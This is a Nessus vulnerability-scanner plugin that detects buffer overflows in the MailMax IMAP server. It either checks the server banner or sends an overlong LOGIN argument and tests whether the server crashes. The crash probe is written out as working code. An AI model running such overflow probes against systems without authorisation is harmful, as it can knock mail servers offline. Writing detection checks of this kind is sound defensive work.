# # This script was written by Renaud Deraison # # See the Nessus Scripts License for details # if(description) { script_id(11598); script_bugtraq_id(7326); script_cve_id("CVE-1999-0404"); script_version ("$Revision$"); name["english"] = "MailMax IMAP overflows"; script_name(english:name["english"]); desc["english"] = " The remote host is running a version of the MailMax IMAP server which is vulnerable to various overflows which may allow to execute arbitrary commands on this host or to disable it remotely. Solution : Upgrade to MailMax 5.0.10.8 or newer Risk Factor : High"; script_description(english:desc["english"]); summary["english"] = "Overflows the remote IMAP server"; script_summary(english:summary["english"]); script_category(ACT_MIXED_ATTACK); script_copyright(english:"This script is Copyright (C) 2003 Renaud Deraison"); family["english"] = "Gain a shell remotely"; script_family(english:family["english"]); script_dependencie("find_service.nes"); script_require_ports("Services/imap", 143); exit(0); } # # The script code starts here # include("smtp_func.inc"); port = get_kb_item("Services/imap"); if(!port)port = 143; if(get_port_state(port)) { soc = open_sock_tcp(port); if(soc) { r = recv_line(socket:soc, length:4096); if(safe_checks()) { if(egrep(pattern:"MailMax [1-5][^0-9]", string:r)) { report = " The remote host is running a version of the MailMax IMAP server which is vulnerable to various overflows which may allow to execute arbitrary commands on this host or to disable it remotely. *** Since safe_checks are enabled, Nessus did not actually *** check for this flaw but relied on the banner instead. *** This might be a false positive. Solution : Upgrade to MailMax 5.0.10.8 or newer Risk Factor : High"; security_hole(data:report, port:port); } exit(0); } send(socket:soc, data:string("0000 CAPABILITY\r\n")); r = recv_line(socket:soc, length:4096); r = recv_line(socket:soc, length:4096); send(socket:soc, data:'0001 LOGIN "nobody@example.com" "'+crap(50)+'\r\n'); r = recv_line(socket:soc, length:4096); r = recv_line(socket:soc, length:4096); close(soc); soc = open_sock_tcp(port); if(!soc){security_hole(port); exit(0);} r = recv_line(socket:soc, length:4096); if(!r)security_hole(port); close(soc); } }